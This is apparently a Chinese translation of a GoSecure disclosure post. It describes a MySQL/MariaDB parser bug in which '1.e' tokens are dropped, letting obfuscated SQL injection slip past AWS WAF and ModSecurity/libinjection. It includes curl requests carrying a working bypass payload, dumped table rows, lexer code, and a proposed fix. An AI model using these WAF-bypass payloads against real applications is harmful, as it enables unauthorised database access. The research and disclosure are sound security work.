快捷搜索:  汽车  科技

mysql 安全漏洞,中的科学记数法漏洞使

mysql 安全漏洞,中的科学记数法漏洞使SELECT table_name FROM information_schema .tables通过几项测试,我们发现可以在关键字“1.e”后面加上以下字符:SELECT table_name FROM information_schema 1.e.tables因此,实际上该查询的行为与以下相同:问题发现2013年,Roberto Salgado在BlackHat上发表了一篇题为“SQLi优化与混淆技术”的演讲,介绍了SQL注入的多种绕行技术,其中包括针对MySQL和MariaDB的技术。2018年,GoSecure道德黑客重提了该演示文稿,并开始在本地使用MySQL和MariaDB进行一些测试。我们发现在那篇演讲中提到的科学记数法漏洞,会产生比看上去更为严重的后果。事实证明,用它可以完成一些美妙的事情——从攻击者的角度来看是美妙的。这个漏洞允许SQL语法保持有效,即使它不该有效,给安全

作者 |Marc Olivier Bergeron

译者 | 王雪迎

出品 | CSDN(ID:CSDNnews)

GoSecure道德黑客在mysql中发现了一个具有安全问题的漏洞。该问题产生的后果是,AWS Web应用程序防火墙(AWS Web Application Firewall,WAF)客户对SQL注入失去保护。我们的研究团队进一步证实modsecurity也会受其影响,但正如本博客所述,保护是可以实现的。

mysql 安全漏洞,中的科学记数法漏洞使(1)

问题发现

2013年,Roberto Salgado在BlackHat上发表了一篇题为“SQLi优化与混淆技术”的演讲,介绍了SQL注入的多种绕行技术,其中包括针对MySQL和MariaDB的技术。2018年,GoSecure道德黑客重提了该演示文稿,并开始在本地使用MySQL和MariaDB进行一些测试。我们发现在那篇演讲中提到的科学记数法漏洞,会产生比看上去更为严重的后果。事实证明,用它可以完成一些美妙的事情——从攻击者的角度来看是美妙的。这个漏洞允许SQL语法保持有效,即使它不该有效,给安全防御造成混乱。

科学记数法,特别是e符号,已经被集成到许多编程语言中,包括SQL。不清楚是否所有SQL都这样实现,但它是MySQL/MariaDB实现的一部分。下面是一个集成到SQL查询中的科学记数法示例。这实际上是2013年BlackHat演示中的一个。e符号将被忽略,因为它被用于无效的上下文中。

SELECT table_name FROM information_schema 1.e.tables

因此,实际上该查询的行为与以下相同:

SELECT table_name FROM information_schema .tables

通过几项测试,我们发现可以在关键字“1.e”后面加上以下字符:

. | & % * ^ /

为了说明这个问题,我们将使用下面的示例数据集来演示:

mysql> describe test; ------- -------------- ------ ----- --------- ------- | Field | Type | | Key | Default | Extra | ------- -------------- ------ ----- --------- ------- | id | int | YES | | | | | test | varchar(255) | YES | | | | ------- -------------- ------ ----- --------- ------- 2 rows in set (0.01 sec) mysql> select id test from test; ------ ----------- | id | test | ------ ----------- | 1 | admin | | 2 | usertest1 | | 3 | usertest2 | ------ ----------- 3 rows in set (0.00 sec)

让我们看看关键字“1.e”和该关键字后面的字符可以实现什么效果:

mysql> select id 1.1e char 10.2e(id 2.e) concat 3.e('a'12356.e 'b'1.e 'c'1.1234e)1.e 12 1.e*2 1.e 12 1.e/2 1.e 12 1.e|2 1.e 12 1.e^2 1.e 12 1.e%2 1.e 12 1.e&2 from test 1.e.test; ------ ---------------------------------------- ------------------------------------------ ---------- ---------- ---------- ---------- ---------- ---------- | id | char 10.2e(id 2.e) | concat 3.e('a'12356.e 'b'1.e 'c'1.1234e) | 12 1.e*2 | 12 1.e/2 | 12 1.e|2 | 12 1.e^2 | 12 1.e%2 | 12 1.e&2 | ------ ---------------------------------------- ------------------------------------------ ---------- ---------- ---------- ---------- ---------- ---------- | 1 | 0x01 | abc | 24 | 6.0000 | 14 | 14 | 0 | 0 | | 2 | 0x02 | abc | 24 | 6.0000 | 14 | 14 | 0 | 0 | | 3 | 0x03 | abc | 24 | 6.0000 | 14 | 14 | 0 | 0 | ------ ---------------------------------------- ------------------------------------------ ---------- ---------- ---------- ---------- ---------- ---------- 3 rows in set (0.00 sec)

上述查询等价于以下查询:

mysql> select id char(id) concat('a' 'b' 'c') 12*2 12/2 12|2 12^2 12%2 12&2 from test.test; ------ -------------------- --------------------- ------ -------- ------ ------ ------ ------ | id | char(id) | concat('a' 'b' 'c') | 12*2 | 12/2 | 12|2 | 12^2 | 12%2 | 12&2 | ------ -------------------- --------------------- ------ -------- ------ ------ ------ ------ | 1 | 0x01 | abc | 24 | 6.0000 | 14 | 14 | 0 | 0 | | 2 | 0x02 | abc | 24 | 6.0000 | 14 | 14 | 0 | 0 | | 3 | 0x03 | abc | 24 | 6.0000 | 14 | 14 | 0 | 0 | ------ -------------------- --------------------- ------ -------- ------ ------ ------ ------ 3 rows in set (0.00 sec)

太疯狂了,对吧?让我们看一下如何在真实产品中利用此漏洞。

应该注意的是,关键字“1.e”中的数字并不重要。任何数字都可以介于点和“e”之间,并且点是强制性的(例如,“1337.1337e”也可行)。

mysql 安全漏洞,中的科学记数法漏洞使(2)

滥用漏洞绕过AWS Web应用程序防火墙(WAF)

Amazon Web Services(AWS)有一个名为CloudFront的产品,它可以与AWS WAF相结合,并具有预定义的规则,以帮助公司保护其Web应用程序免受入侵。然而,在一次接触中,我们发现AWS WAF中的“SQL数据库”规则可以绕过上一节中显示的漏洞。

一个简单的查询可以显示WAF会阻止使用著名的 1'或'1'='1 注入来请求:

$ curl -i -H "Origin: http://my-domain" -X POST \ "http://d36bjalk0ud0vk.cloudfront.net/index.php" -d "x=1' or '1'='1" HTTP/1.1 403 Forbidden Server: CloudFront Date: Wed 21 Jul 2021 21:38:16 GMT Content-Type: text/html Content-Length: 919 Connection: keep-alive X-Cache: Error from cloudfront Via: 1.1 828380fdf2467860fea66d7412803418.cloudfront.net (CloudFront) X-Amz-Cf-Pop: YUL62-C1 X-Amz-Cf-Id: eh5LR9w1Cjccxf5JAZ4yTkrsILZL3PLjqwCQbBUD_zakHi53NPCJrg== <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <HTML><HEAD><META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1"> <TITLE>ERROR: The request could not be satisfied</TITLE> </HEAD><BODY> <H1>403 ERROR</H1> <H2>The request could not be satisfied.</H2> <HR noshade size="1px"> Request blocked. We can't connect to the server for this app or website at this time. There might be too much traffic or a configuration error. Try again later or contact the app or website owner. <BR clear="all"> if you provide content to customers through CloudFront you can find steps to troubleshoot and help prevent this error by reviewing the CloudFront documentation. <BR clear="all"> <HR noshade size="1px"> <PRE> Generated by cloudfront (CloudFront) Request ID: eh5LR9w1Cjccxf5JAZ4yTkrsILZL3PLjqwCQbBUD_zakHi53NPCJrg== </PRE> <ADDRESS> </ADDRESS> </BODY></HTML>

现在我们看,如果我们在这个简单的注入中使用科学记数法,利用这个漏洞会发生什么:

$ curl -i -H "Origin: http://my-domain" -X POST \ "http://d36bjalk0ud0vk.cloudfront.net/index.php" -d "x=1' or 1.e(1) or '1'='1" HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 Content-Length: 32 Connection: keep-alive Date: Wed 21 Jul 2021 21:38:23 GMT Server: Apache/2.4.41 (Ubuntu) X-Cache: Miss from cloudfront Via: 1.1 eae631604d5db564451a93106939a61e.cloudfront.net (CloudFront) X-Amz-Cf-Pop: YUL62-C1 X-Amz-Cf-Id: TDwlolP9mvJGtcwB5vBoUGr-JRxzcX-ZLuumG9F4vioKl1L5ztPwUw== 1 admin 2 usertest1 3 usertest2

仅上述绕过的证据就足以激发我们对该漏洞工作原因和方式的兴趣,以便正确地披露该漏洞,并向相关方展示其对安全性的影响。

mysql 安全漏洞,中的科学记数法漏洞使(3)

漏洞调查

起初,我们没有向MySQL和MariaDB透露这个漏洞,因为我们没有看到它的影响。在我们发现WAF绕行之前,它不会以任何方式影响数据,也不会让你的权限升级。现在我们找到了一个具体的安全影响,让我们了解一下这个漏洞是如何产生的,以及为什么它会这样。

请记住,以下解释特意保持简明扼要。

首先,MySQL和MariaDB通过在查询中查找标记来工作,如数字、字符串、注释、行尾等。一旦代码认为它知道是什么类型的标记,就会通过发送正确的函数来解析该标记。

其次,我们要查看的代码段是整数或实数解析器,因为代码将首先到达该段:

case MY_LEX_INT_OR_REAL: // Complete int or incomplete real if (c != '.') { // Found complete integer number. yylval->lex_str = get_token(lip 0 lip->yyLength); return int_token(yylval->lex_str.str (uint)yylval->lex_str.length); } // fall through

第三,代码将通过实数函数找到一个点,这就是我们想要了解的代码:

case MY_LEX_REAL: // Incomplete real number while (my_isdigit(cs c = lip->yyGet)) ; if (c == 'e' || c == 'E') { c = lip->yyGet; if (c == '-' || c == ' ') c = lip->yyGet; // Skip sign if (!my_isdigit(cs c)) { // No digit after sign state = MY_LEX_CHAR; break; } while (my_isdigit(cs lip->yyGet)) ; yylval->lex_str = get_token(lip 0 lip->yyLength); return (FLOAT_NUM); } yylval->lex_str = get_token(lip 0 lip->yyLength); return (DECIMAL_NUM);

此时,代码已经处理了点之前的数字,并开始获取点之后的所有数字。然后,条件验证该字符是“e”或“E”,然后获取下一个字符。如果该字符不是数字,则将状态设置为“MY_LEX_CHAR”,然后使用“break”运算符结束switch语句,该运算符返回到switch case的开头。

最后,到达以下case语句,在这里,标记被完全遗忘并从查询中删除:

case MY_LEX_CHAR: // Unknown or single char token case MY_LEX_SKIP: // This should not happen if (c == '-' && lip->yyPeek == '-' && (my_isspace(cs lip->yyPeekn(1)) || my_iscntrl(cs lip->yyPeekn(1)))) { state = MY_LEX_COMMENT; break; } if (c == '-' && lip->yyPeek == '>') // '->' { lip->yySkip; lip->next_state = MY_LEX_START; if (lip->yyPeek == '>') { lip->yySkip; return JSON_UNQUOTED_SEPARATOR_SYM; } return JSON_SEPARATOR_SYM; } if (c != ')') lip->next_state = MY_LEX_START; // Allow signed numbers /* Check for a placeholder: it should not precede a possible identifier because of binlogging: when a placeholder is replaced with its value in a query for the binlog the query must stay grammatically correct. */ if (c == '?' && lip->stmt_prepare_mode && !ident_map[lip->yyPeek()]) return (PARAM_MARKER); return ((int)c);

我们通过阅读注释“Unknown or single CHAR token”可知,此时MySQL并不知道该怎么处理标记,而“MY_LEX_CHAR”条件只是简单地下传到“MY_LEX_SKIP”条件。在“MY_LEX_SKIP”的条件下,函数将以返回字符结束。需要注意的一点是,如果字符不是右括号,则状态被设置为“MY_LEX_START”,这将从一个新标记开始。无论哪种方式,即使它以一个右括号结束,仍然不会返回标记,因此它会被丢弃。

mysql 安全漏洞,中的科学记数法漏洞使(4)

候选修正方案

候选修正方案很简单,比如在标记不正确时中止查询,而不是让它通过。当MySQL或MariaDB找到浮点标记的开头,并且浮点标记后面没有数字时,它应该中止查询。

if (c == 'e' || c == 'E') { c = lip->yyGet; if (c == '-' || c == ' ') c = lip->yyGet; // Skip sign if (!my_isdigit(cs c)) { // No digit after sign return (ABORT_SYM); // <--- Fix here! } while (my_isdigit(cs lip->yyGet)) ; yylval->lex_str = get_token(lip 0 lip->yyLength); return (FLOAT_NUM); }

我们向MySQL和MariaDB项目提交了修复程序。注意,这不是我们常做的事情,因为项目维护人员通常更适合修复安全问题。然而在本例中,由于这在MySQL/MariaDB中本身不是一个安全问题,因此我们认为提供修复程序将增加快速解决问题的机会。此外,我个人对浏览大型C/C 代码库以发现问题所在很感兴趣。

mysql 安全漏洞,中的科学记数法漏洞使(5)

带有安全隐患的漏洞

如前所述,此问题的安全影响不在MySQL和MariaDB的控制范围内。任何WAF或类似的安全产品,如果忽略像这样形成的SQL请求,都将容易受到攻击。情况很复杂。如果请求是畸形的,安全产品自然不会认为它们是有效的SQL,从而使它们不需要阻止。

mysql 安全漏洞,中的科学记数法漏洞使(6)

什么是ModSecurity

我们首先在AWS WAF上发现了这个漏洞并报告了它。然而,我们后来决定评估ModSecurity,它是Apache和nginx的流行WAF。ModSecurity捆绑了libinjection,我们也发现它受到这个混淆漏洞的影响。

这里演示了modsecurity阻止恶意SQL注入模式的能力。检测结果显示,返回一个被禁止的页面。

mysql 安全漏洞,中的科学记数法漏洞使(7)

modsecurity(使用libinjection)正在阻止SQL注入

crs_1 | 192.168.208.1 - - [08/Oct/2021:19:28:09 0000] "GET /index.php?genre=action' or ''=' HTTP/1.1" 403 199 crs_1 | [Fri Oct 08 19:28:40.345633 2021] [:error] [pid 218:tid 140514141660928] [client 192.168.208.1:49958] [client 192.168.208.1] ModSecurity: Warning. detected SQLi using libinjection with fingerprint 's&sos' [file "/etc/modsecurity.d/owasp-crs/rules/REQUEST-942-APPLICATION-ATTACK-SQLI.conf"] [line "65"] [id "942100"] [msg "SQL Injection Attack Detected via libinjection"] [data "Matched Data: s&sos found within ARGS:genre: action' or ''='"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.2"] [tag "modsecurity"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-sqli"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/66"] [tag "PCI/6.5.2"] [hostname "localhost"] [uri "/index.php"] [unique_id "YWCb6EwweO7WZjrKg6GHTgAAAMk"]

modsecurity日志高亮显示已触发libinjection

我们可以通过在字面表达式前加上科学记数法“1.e”来规避这种做法。Libinjection在内部标记参数并标识上下文节类型,如注释和字符串。Libinjection将字符串“1.e”视为一个未知的SQL关键字,并得出结论,它更可能是一个英语句子,而不是代码。当libinjection不识别SQL函数时,同样的行为也会出现。

mysql 安全漏洞,中的科学记数法漏洞使(8)

modsecurity和libinjection绕行演示

当我们联系OWASP核心规则集(Core Rule Set,CRS)安全团队时,他们表示,如果规则集配置偏执级别至少为2级,则可以提供有效的保护,这是检测混淆攻击的建议。

mysql 安全漏洞,中的科学记数法漏洞使(9)

时间线

  • 2021-02-11:作为约定的一部分,通过AWS WAF滥用漏洞
  • 2021-08-16:向亚马逊披露滥用此漏洞的WAF绕行
  • 2021-09-29:请求状态更新
  • 2021-10-01:AWS表示问题已经解决
  • 2021-10-01:发现ModSecurity/libinjection也受到影响
  • 2021-10-04:确认AWS WAF修复
  • 2021-10-04:将候选补丁发送到MySQL和MariaDB
  • 2021-10-05:通过OWASP核心规则集项目(CRS)向ModSecurity/libinjection披露
  • 2021-10-05:确认ModSecurity/libinjection中的2级偏执解决方案
  • 2021-10-19:公开披露

mysql 安全漏洞,中的科学记数法漏洞使(10)

结论

这个安全问题与其它许多问题不同,因为它很容易被轻视为一个简单的解析器错误。我们很高兴AWS了解了这一风险,并决定在WAF中解决这一问题,特别是因为这是一种我们以前从未见过的,使亚马逊客户可能无法得到保护的奇怪情况。

希望从长远来看,MySQL和MariaDB能够修复这个bug,10年后我们将能够从WAF中删除这种奇怪的解析器行为。

特别感谢Philippe Arteau,他对ModSecurity/libinjection进行了额外的测试。

原文链接:https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/

本文由CSDN组织翻译,转载请注明来源及出处!

mysql 安全漏洞,中的科学记数法漏洞使(11)

猜您喜欢: